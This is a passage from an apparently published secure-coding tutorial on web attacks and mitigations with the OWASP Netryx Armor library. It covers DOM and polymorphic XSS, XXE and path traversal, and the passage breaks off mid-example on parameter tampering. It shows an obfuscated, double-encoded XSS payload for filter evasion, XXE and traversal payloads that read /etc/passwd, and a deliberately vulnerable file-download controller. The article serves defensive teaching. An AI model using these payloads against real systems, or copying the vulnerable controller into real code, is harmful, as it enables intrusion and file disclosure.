      &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error-message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, in the case of such HTML page, the query parameter is processed by the client itself, not by the server. If this example can still be filtered through the server, the content in the case of using hashes (for example: &lt;code&gt;http://example.com/#&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;/code&gt;), does not pass through the server and cannot be filtered by it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Polymorphic XSS
&lt;/h4&gt;

&lt;p&gt;Similar to polymorphic viruses, each time malicious code is executed, its code changes. To avoid pattern-based detection, the attacker often uses &lt;strong&gt;multiple encoding&lt;/strong&gt;, and to hide the code, creates it on the fly.&lt;/p&gt;

&lt;p&gt;For example, let's take our “innocent” script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can present it in a more complex way as well. Not so heavy obfuscation, so to say:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's encode it two times and pass the parameters:&lt;br&gt;
&lt;code&gt;http://example.com/?param=%253Cscript%253Elet%2520a%2520%253D%2520String.fromCharCode%253B%250Alet%2520script%2520%253D%2520a%252860%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Alet%2520code%2520%253D%2520a%252897%2529%2520%252B%2520a%2528108%2529%2520%252B%2520a%2528101%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252840%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252888%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252841%2529%253B%250Alet%2520end%2520%253D%2520a%252860%2529%2520%252B%2520a%252847%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Adocument.write%2528script%2520%252B%2520code%2520%252B%2520end%2529%253B%250A%253C%252Fscript%253E&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This already looks harder and less comprehensible, doesn't it? To further hide their intentions, attackers can use triple and quadruple encoding. When data is passed through a query, the only limit the browser has is the &lt;strong&gt;length&lt;/strong&gt; of the final query, not the level of encoding.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;XSS occurs as a result of data either being displayed at the client side without sanitization or not being validated when it comes to the server, right?&lt;/p&gt;

&lt;p&gt;So we need to do the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Validate the data when it comes into the server&lt;/li&gt;
&lt;li&gt;Sanitize the data at the moment of issuing to the client&lt;/li&gt;
&lt;li&gt;Configure a &lt;strong&gt;Content-Security&lt;/strong&gt; policy to prevent malicious scripts from being executed by limiting script sources with the use of directives&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All of this is handled by &lt;a href="https://github.com/OWASP/www-project-netryx/tree/main" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Validation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....&lt;/span&gt;

&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ruleId"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;thenAccept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// after validation&lt;/span&gt;
    &lt;span class="o"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;outputHtmlData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....;&lt;/span&gt;
&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;outputJsData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....;&lt;/span&gt;

&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;sanitizedJsData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;js&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;JavaScriptEncoderConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;withMode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;JavaScriptEnconding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;HTML&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outputJsContent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;sanitizedHtmlData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;html&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outputHtmlData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OWASP Netryx Armor configures a Netty-based web server including &lt;code&gt;Content-Security&lt;/code&gt; policies right out of the box. For secure configuration of policies, it is highly recommended to refer to the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP Cheat Sheet Series&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  XXE Injection
&lt;/h3&gt;

&lt;p&gt;Let's imagine that we provide an API for integration to partners who send us order data in XML format. Then they can view the order information from their personal dashboard.&lt;/p&gt;

&lt;p&gt;As a result, the attacker has sent us XML of the following kind:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE order [
  &amp;lt;!ELEMENT order ANY &amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd" &amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;customer&amp;gt;&lt;/span&gt;John Doe&lt;span class="nt"&gt;&amp;lt;/customer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;items&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/items&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the XML parser is misconfigured, the specified contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file will be written to the &lt;code&gt;&amp;lt;items&amp;gt;&lt;/code&gt; block as the injection.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;It is important to configure our XML parser correctly and is a technique common to all programming languages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Disable the use and loading of external DTDs (Document Type Definition)&lt;/li&gt;
&lt;li&gt;Disable processing of external generic entities&lt;/li&gt;
&lt;li&gt;Disable processing of external parametric entities
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;DocumentBuilderFactory&lt;/span&gt; &lt;span class="n"&gt;dbf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DocumentBuilderFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newInstance&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://apache.org/xml/features/disallow-doctype-decl"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://xml.org/sax/features/external-general-entities"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://xml.org/sax/features/external-parameter-entities"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://apache.org/xml/features/nonvalidating/load-external-dtd"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Path Traversal Attack
&lt;/h3&gt;

&lt;p&gt;This is another popular problem caused by the lack of input validation, which allows files to be retrieved outside of the server's main directory.&lt;/p&gt;

&lt;p&gt;Let's imagine we are outputting some content on the server as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Controller&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FileDownloadController&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="n"&gt;rootLocation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Paths&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/var/www/files"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/download"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Resource&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;@RequestParam&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"filename"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rootLocation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resolve&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

          &lt;span class="nc"&gt;Resource&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;UrlResource&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toUri&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
              &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;notFound&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the user performed the following query:&lt;br&gt;
&lt;code&gt;GET http://your-server.com/download?filename=../../../../etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;According to the code, the final path will be &lt;code&gt;/var/www/files/../../../../etc/passwd&lt;/code&gt;, which is equivalent to &lt;code&gt;/etc/passwd&lt;/code&gt;. This now means if the server has permissions to traverse to this directory, will output &lt;strong&gt;the entire etc/passwd file.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;Mitigation, as I'm sure you've already guessed, is quite simple. All you need to do is &lt;strong&gt;normalize&lt;/strong&gt; the final path and check if you are within the correct directory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; allows you to customize the desired directory and validate the resulting directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;finalPath&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Parameter Tampering
&lt;/h3&gt;

&lt;p&gt;Let's imagine we are running our own e-commerce site. A user places an order for $100 on their personal credit card. To the server, a typical transaction would look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://sample.com/checkout"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"merchant_id"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"order_id"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"78910"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
